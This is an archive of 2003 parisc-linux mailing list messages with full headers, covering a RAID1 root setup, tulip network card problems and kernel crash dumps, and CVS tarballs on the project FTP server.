J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] PA-RISC Linux RAID1 Root HOWTO
Date: Wed, 15 Jan 2003 09:36:53 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <3E1AA7C1000015EB@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622116 20005 80.91.229.3 (22 Nov 2014 02:08:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:36 +0000 (UTC)
To: "Martin K. Petersen" <mkp@mkp.net>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 15 01:37:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6263D4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Jan 2003 01:37:36 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18Yj36-0001FV-00; Wed, 15 Jan 2003 09:37:24 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 15 Jan 2003 09:36:53 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17398

Martin,

Congratulation, great job.

I already build a raid1 on my b180 but /boot partition and it works fine.=

So I now just have to update palo build the raid1 on this boot slice.

Well just a stupid question:
since now my md devices were:
/dev/md0(sda5+sdb5) /
/dev/md1(sda2+sdb2)  swap
/dev/md2(sda6+sdb6) /home
...
and I would like it becomes:
/dev/md0(sda3+sdb3) /boot
/dev/md1(sda5+sdb5) /
/dev/md2(sda2+sdb2) swap
...

so, finaly, how to remumber md0 into md1 ...?

I would also ask you if you could advise me on the resizing of a md.
My md7 is a raid1 with the last slices sda11 and sdb11 of disks (mounted
on /var). As there are still some free space at the end of each disk, I
would like to increase it. Could you advise me howto do (I try to find do=
c
but no success and my test was not more succesfull and I do not want to
loose the contents of the fs)?

Thanks in advance for your attention.

>-- Original Message --
>To: parisc-linux@lists.parisc-linux.org
>From: "Martin K. Petersen" <mkp@mkp.net>
>Subject: [parisc-linux] PA-RISC Linux RAID1 Root HOWTO
>Date: 14 Jan 2003 14:27:11 -0500
>
>
>
>PA-RISC Linux RAID1 Root HOWTO
>

Very clear :)

Thanks,
    Joel



*********************************************
Vous surfez toujours avec une ligne classique ?
Faites des economies avec Tiscali Complete...
Plus d'info sur ... http://complete.tiscali.be





From - Thu Nov 08 21:26:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Interesting network card ...
Date: Wed, 15 Jan 2003 10:56:20 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <20030115085619.GA17760@aurinko.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416622116 20007 80.91.229.3 (22 Nov 2014 02:08:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 15 01:56:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mgw-x4.nokia.com (mgw-x4.nokia.com [131.228.20.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 800AF4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Jan 2003 01:56:29 -0700 (MST)
Original-Received: from esvir04nok.ntc.nokia.com (esvir04nokt.ntc.nokia.com [172.21.143.36])
	by mgw-x4.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id h0F8wat25239
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Jan 2003 10:58:36 +0200 (EET)
Original-Received: from esebh001.NOE.Nokia.com (unverified) by esvir04nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T5fcde44881ac158f24078@esvir04nok.ntc.nokia.com> for <parisc-linux@lists.parisc-linux.org>;
 Wed, 15 Jan 2003 10:56:23 +0200
Original-Received: from aurinko.ntc.nokia.com ([172.22.105.49]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.5329);
	 Wed, 15 Jan 2003 10:56:21 +0200
Original-Received: (from mnahkola@localhost)
	by aurinko.ntc.nokia.com (8.11.6/8.11.6) id h0F8uLt24126
	for parisc-linux@lists.parisc-linux.org; Wed, 15 Jan 2003 10:56:21 +0200 (EET)
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-OriginalArrivalTime: 15 Jan 2003 08:56:21.0918 (UTC) FILETIME=[F9DEBBE0:01C2BC73]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17399

What's the deal with the various HP-branded tulip-based NICs? Are they 
expected to "just work" or what? I found one that sure doesn't, but then 
again, but my kernel isn't actually new ... (2.4.18-32 packaged)

The card is the HP ANA-6911A/AUI (yes, it's a 10/100BT with coax and 
AUI too), part# A3738-60001, and it _is_ found by the tulip driver, but 
for some reason the driver claims that "no MII transceiver found", and 
does list the 10B2 and AUI connections too. But I can't seem to make it 
form a link with TP or coax, no matter what I do. And the AUI connector 
is blocked by the C240 chassis. Is there a simple way to force the use of 
a certain transceiver? Tried mii-tool already and it didn't help much - 
but then again it doesn't seem to know about the coax and AUI at all...

Then again, I haven't tested this card on HP-UX either yet so it could be 
a hardware problem...


-- 
Mikko Nahkola   <mikko.nahkola@nokia.com>
Tre-IN sysadmin <mnahkola@trein.ntc.nokia.com>


From - Thu Nov 08 21:26:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PARISC Userspace Updates 2003-01-14
Date: Wed, 15 Jan 2003 12:37:01 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20030115123701.C26554@parcelfarce.linux.theplanet.co.uk>
References: <20030115054942.GK11375@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622116 20008 80.91.229.3 (22 Nov 2014 02:08:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:36 +0000 (UTC)
To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 15 05:37:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7E3764829
	for <parisc-linux@parisc-linux.org>; Wed, 15 Jan 2003 05:37:07 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18Ymn0-0005f4-00; Wed, 15 Jan 2003 12:37:02 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030115054942.GK11375@systemhalted>; from carlos@baldric.uwo.ca on Wed, Jan 15, 2003 at 12:49:42AM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17400

On Wed, Jan 15, 2003 at 12:49:42AM -0500, Carlos O'Donell wrote:
> 
> A new year and a new look at our userspace. Spurred on by Willy's email
> about Kernel developments, I wanted to recap some userspace movement in
> the past while: 

One individual who's not mentioned here is Lamont Jones who runs the
Debian hppa autobuilder.  He's doing a great job of keeping us >99%
uptodate.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Interesting network card ...
Date: Wed, 15 Jan 2003 12:52:37 +0000
Lines: 24
Approved: news@gmane.org
Message-ID: <20030115125237.E26554@parcelfarce.linux.theplanet.co.uk>
References: <20030115085619.GA17760@aurinko.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622117 20011 80.91.229.3 (22 Nov 2014 02:08:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 15 05:52:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 23B244829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Jan 2003 05:52:38 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18Yn25-0006DC-00; Wed, 15 Jan 2003 12:52:37 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030115085619.GA17760@aurinko.ntc.nokia.com>; from mnahkola@trinms01.ntc.nokia.com on Wed, Jan 15, 2003 at 10:56:20AM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17401

On Wed, Jan 15, 2003 at 10:56:20AM +0200, Nahkola Mikko wrote:
> What's the deal with the various HP-branded tulip-based NICs? Are they 
> expected to "just work" or what? I found one that sure doesn't, but then 
> again, but my kernel isn't actually new ... (2.4.18-32 packaged)

we're always interested in hearing about cards that don't
work.. hp-branded or not ;-)

> The card is the HP ANA-6911A/AUI (yes, it's a 10/100BT with coax and 
> AUI too), part# A3738-60001, and it _is_ found by the tulip driver, but 
> for some reason the driver claims that "no MII transceiver found", and 
> does list the 10B2 and AUI connections too. But I can't seem to make it 
> form a link with TP or coax, no matter what I do. And the AUI connector 
> is blocked by the C240 chassis. Is there a simple way to force the use of 
> a certain transceiver? Tried mii-tool already and it didn't help much - 
> but then again it doesn't seem to know about the coax and AUI at all...

how very interesting.  could you send an lspci -vvx for that card?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS checkouts on ftp server
Date: Wed, 15 Jan 2003 13:16:51 +0000
Lines: 24
Approved: news@gmane.org
Message-ID: <20030115131651.F26554@parcelfarce.linux.theplanet.co.uk>
References: <20030115122121.C799@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622117 20016 80.91.229.3 (22 Nov 2014 02:08:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:37 +0000 (UTC)
To: Linux/HPPA List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 15 06:16:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id CFE414829
	for <parisc-linux@parisc-linux.org>; Wed, 15 Jan 2003 06:16:51 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18YnPX-0006jn-00
	for parisc-linux@parisc-linux.org; Wed, 15 Jan 2003 13:16:51 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030115122121.C799@neep.com.au>; from andrew@neep.com.au on Wed, Jan 15, 2003 at 12:21:23PM +0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17402

On Wed, Jan 15, 2003 at 12:21:23PM +0800, Andrew Shugg wrote:
> I was trawling through ftp.parisc-linux.org/cvs looking for a tarball of
> the linux-2.5 tree and couldn't see anything, apart from a /cvs/2.5
> directory (which is currently empty).

Those aren't currently being generated (AFAIK).  What _is_ being generated
are the patches against upstream: http://ftp.parisc-linux.org/2.5/kernel-src/

> Is there enough disk space to do a linux-2.5 tarball for the FTP server?

Yes, certainly.  Do you still want that, given the existance of these
patches?

> Also the /cvs directory contains a few files that look like stuff-ups
> from the CVS tarball roller: linux-.tar.gz and patch-.diff.gz ...

I can see them... but I can also see the CVS scripts are still running.
Possibly they'll be renamed later.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Wed, 15 Jan 2003 17:14:47 +0100
Lines: 225
Approved: news@gmane.org
Message-ID: <3E1AA52C0000167E__14676.2616619982$1416622117$gmane$org@ocpmta1.freegates.net>
References: <3DED9A6600005A12@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622117 20017 80.91.229.3 (22 Nov 2014 02:08:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: grundler@dsl2.external.hp.com,
	"Randolph Chung" <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 15 09:14:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id EEB594829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Jan 2003 09:14:53 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18YqBk-0002ER-00; Wed, 15 Jan 2003 17:14:48 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 15 Jan 2003 17:14:47 +0100
In-Reply-To: <3DED9A6600005A12@ocpmta3.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17403

Hi Grant and Randolph,

>-- Original Message --
>From: jsoe0708@tiscali.be
>Subject: Re: [parisc-linux] new gcc-default for hppa
>To: grundler@dsl2.external.hp.com
>Cc: "Randolph Chung" <tausq@debian.org>,
>	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
>Date: Tue, 14 Jan 2003 18:49:46 +0100
>
>
>>-- Original Message --
>>Date: Tue, 14 Jan 2003 09:52:03 -0700
>>To: jsoe0708@tiscali.be
>>Cc: Randolph Chung <tausq@debian.org>,
>>	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
>>Subject: Re: [parisc-linux] new gcc-default for hppa
>>From: grundler@dsl2.external.hp.com (Grant Grundler)
>>
>>
>>On Tue, Jan 14, 2003 at 07:57:01AM +0100, jsoe0708@tiscali.be wrote:
>>> Linux Tulip driver version 0.9.15-pre12 (Aug 9, 2002)
>>> tulip0: no phy info, aborting mtable build
>>> tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.=

>>> eth0: Digital DS21143 Tulip rev 65 at 0xf00, 00:30:D3:01:5A:3B, IRQ
66.
>>> tulip1:  EEPROM default media type Autosense.
>>> tulip1:  Index #0 - Media MII (#11) described by a 21142 MII PHY (3)
>block.
>>> tulip_mii_recover: 100 ms
>>> tulip1:  MII transceiver #1 config 3100 status 7849 advertising 0101.=

>>> tulip1:  Advertising 01e1 on PHY 1, previously advertising 0101.
>>> eth1: Digital DS21143 Tulip rev 65 at 0x12100, 00:30:6E:06:23:D0, IRQ=

>130.
>>> Uniform Multi-Platform E-IDE driver Revision: 7.00beta-2.4
>>> ide: Assuming 33MHz system bus speed for PIO modes; override with ide=
bus=3Dxx
>>> ....
>>>
>>> No chance, as you can see, the two interfaces are of the same time.
>>
>>I'll assume you meant same "type".
>
>Yes, Sorry:
>
>b2000:/var/logs# lspci
>00:0c.0 Ethernet controller: Digital Equipment Corporation DECchip 21142=
/43
>(rev 41)
>00:0d.0 Multimedia audio controller: Analog Devices AD1889 sound chip
>00:0e.0 IDE interface: National Semiconductor Corporation 87415/87560 ID=
E
>(rev 03)
>00:0e.1 Bridge: National Semiconductor Corporation 87560 Legacy I/O (rev=

>01)
>00:0e.2 USB Controller: National Semiconductor Corporation USB Controlle=
r
>(rev 02)
>00:0f.0 SCSI storage controller: LSI Logic / Symbios Logic 53c895a (rev
>01)
>01:00.0 3D controller: Hewlett-Packard Company Visualize FXe (rev 03)
>01:02.0 Ethernet controller: Digital Equipment Corporation DECchip 21142=
/43
>(rev 41)
>01:03.0 SCSI storage controller: LSI Logic / Symbios Logic 53c875 (rev
26)
>01:04.0 Network controller: Eicon Technology Corporation EiconCard P92
>
>
>b180:/var/logs# lspci
>00:13.0 SCSI storage controller: LSI Logic / Symbios Logic (formerly NCR=
)
>53c875 (rev 04)
>00:14.0 Ethernet controller: Digital Equipment Corporation DECchip 21142=
/43
>(rev 41)
>
>> They only happen to be the same rev
>>of the same device - mounted on different boards and wired
>>up to the PHY differently. ie they excercise slighly different code
>>paths in the tulip media init code path. This sounds more like a
>>bug in tulip driver than a compiler bug.
>>
>>I've not tried add-on tulip's in my c3k (only minor differences to b2k)=
.
>>I believe (but am not 100% sure right now) that gcc-3.2 built kernels
>>worked on that box.  I am sure gcc-3.2 built 2.4 kernels worked on a500=
.
>>
>>Also, can you compare your .config with the one in 2.4.20-pa14.tgz
>>(ftp.p-l.o/kernels/c3000)
>
>There are a lot of differences (do you want it I do not think it will be=

>usefull)
>
>> or a default .config if that's closer?
>
>It will have to wait tommorrow (sorry)
>
>>
>>BTW, one can safely enable MMIO on the b2k and perhaps either
>
>I assume you speek about:# CONFIG_TULIP_MMIO is not set (on my config?)

I now add CONFIG_TULIP_MMIO=3Dyes

and I got this time actual stack dump:
 for buildin NIC:
Stack Dump:
 1ebd4780:  0004ff0f 54203230 38204345 35343a30 
 1ebd4770:  2031343a 101e0e7c 64204a61 31205765 
 1ebd4760:  2e0a2023 6d61696c 61766520 6f752068 
 1ebd4750:  75780a59 2f4c696e 20474e55 00075f10 
 1ebd4740:  0000001b 00069e0c 00069e0c 00000008 
 1ebd4730:  1ebd4588 101e27e4 1fe3ac80 00000000 

Kernel addresses on the stack:
 [<101e0e7c>]  [<101e27e4>]  [<101e25f8>]  [<101e0bec>] 
 [<1014b828>]  [<101de398>]  [<10104a6c>]  [<1013f4ac>] 
 [<10109f90>]  [<10109084>]  [<10109d4c>]  [<1013ff24>] 
 [<1013e3e4>]  [<1014ec28>]  [<101213f0>] 

Kernel Fault: Code=3D26 regs=3D1ebd4780 (Addr=3D00000082)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  00000000 1039d010 101e27e4 0000000a
r04-07  0000001b 0000000a 1ed034e0 00010004
r08-11  00000000 0000006e 00000000 00075ec0
r12-15  1ebea96c 00069e0c 00069e0c 00069e0c
r16-19  00000004 00069e0c 00000004 0000006e
r20-23  00000001 00000000 101e11c8 0000000a
r24-27  1ebd4748 0000000a 0000000a 10330010
r28-31  00000000 00000031 1ebd4780 101e1098
sr0-3   00000000 000002d8 00000000 000002d8
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 101e0dcc 101e0dd0
 IIR: 4b3600f0    ISR: 00000000  IOR: 00000082
 CPU:        0   CR30: 1ebd4000 CR31: 103e8000
 ORIG_R28: 78110466

  AND FOR External Nic:


Stack Dump:
 1ec3e080:  0004ff0f 00000000 00000000 00000000 
 1ec3e070:  00000000 701e49c4 70707070 70707070 
 1ec3e060:  70707070 70707070 70707070 70707070 
 1ec3e050:  70707070 70707070 70707070 70707070 
 1ec3e040:  70707070 70707070 70707070 70707070 
 1ec3e030:  70707070 70707070 70707070 70707070 

Kernel addresses on the stack:
 [<101e07d8>]  [<101e0e7c>]  [<101e11c8>]  [<101e2b28>] 
 [<101e1710>]  [<101e49c4>]  [<101e07d8>]  [<101e0e7c>] 
 [<101e11c8>]  [<101e2b28>]  [<101e1710>]  [<101e49c4>] 
 [<101e07d8>]  [<101e0e7c>]  [<101e11c8>]  [<101e2b28>] 
 [<101e1710>]  [<101e49c4>]  [<101e07d8>]  [<101e0e7c>] 
 [<101e11c8>]  [<101e2b28>]  [<101e1710>]  [<101e49c4>] 
 [<101e07d8>]  [<101e0e7c>]  [<101e11c8>]  [<101e2b28>] 
 [<101e1710>]  [<101e49c4>]  [<101e07d8>]  [<101e0e7c>] 
 [<101e11c8>]  [<101e2b28>]  [<101e1710>]  [<101e49c4>] 
 [<101e07d8>]  [<101e0e7c>]  [<101e11c8>]  [<101e2b28>] 
 [<101e1710>]  [<101e49c4>]  [<101e07d8>]  [<101e0e7c>] 
 [<101e11c8>]  [<101e2b28>]  [<101e1710>]  [<101e49c4>] 
 [<101e07d8>]  [<101e0e7c>]  [<101e11c8>]  [<101e2b28>] 
 [<101e1710>]  [<101e49c4>]  [<101e07d8>]  [<101e0e7c>] 
 [<101e11c8>]  [<101e2b28>]  [<101e1710>]  [<101e49c4>] 
 [<101e07d8>]  [<101e0e7c>]  [<101e11c8>]  [<101e2b28>] 
 [<101e1710>]  [<101e49c4>]  [<101e07d8>]  [<101e0e7c>] 
 [<101e11c8>]  [<101e2b28>]  [<101e1710>]  [<101e49c4>] 
 [<101e07d8>]  [<101e0e7c>]  [<101e11c8>]  [<101e2b28>] 
 [<101e1710>] 

Kernel Fault: Code=3D6 regs=3D1ec3e080 (Addr=3D701e49c4)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  00000000 1039d010 701e49c4 1ec60000
r04-07  1ec61000 00000001 1ec3dfc8 1ec60000
r08-11  00000001 00000000 00000000 00039750
r12-15  1ec6096c 00000000 0000b71b 00035054
r16-19  00029054 faf00208 000020a8 0000007f
r20-23  00000f92 00000001 00000000 00000001
r24-27  1fea9a60 00000000 1ec61000 10330010
r28-31  00001000 00000031 1ec3e080 101e07d8
sr0-3   00000000 000002c2 00000000 000002c2
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 701e49c4 701e49c8
 IIR: 43ffff80    ISR: 00000000  IOR: 00000000
 CPU:        0   CR30: 1ebf0000 CR31: 103e8000
 ORIG_R28: 00000000

Completly deferent as you predict.

(Randolph: Do you want I send you those new material: kernel, system.map,=

...?)

I also forget to recall: this only occurs for incoming ethernet trafic(ie=

ssh, telnet, ftp, coming from an external server). The outgoing traffic
works fine (I just do a telnet and a ftp from this server to an external
one without crash).

HTH,
    Joel



*********************************************
Vous surfez toujours avec une ligne classique ?
Faites des economies avec Tiscali Complete...
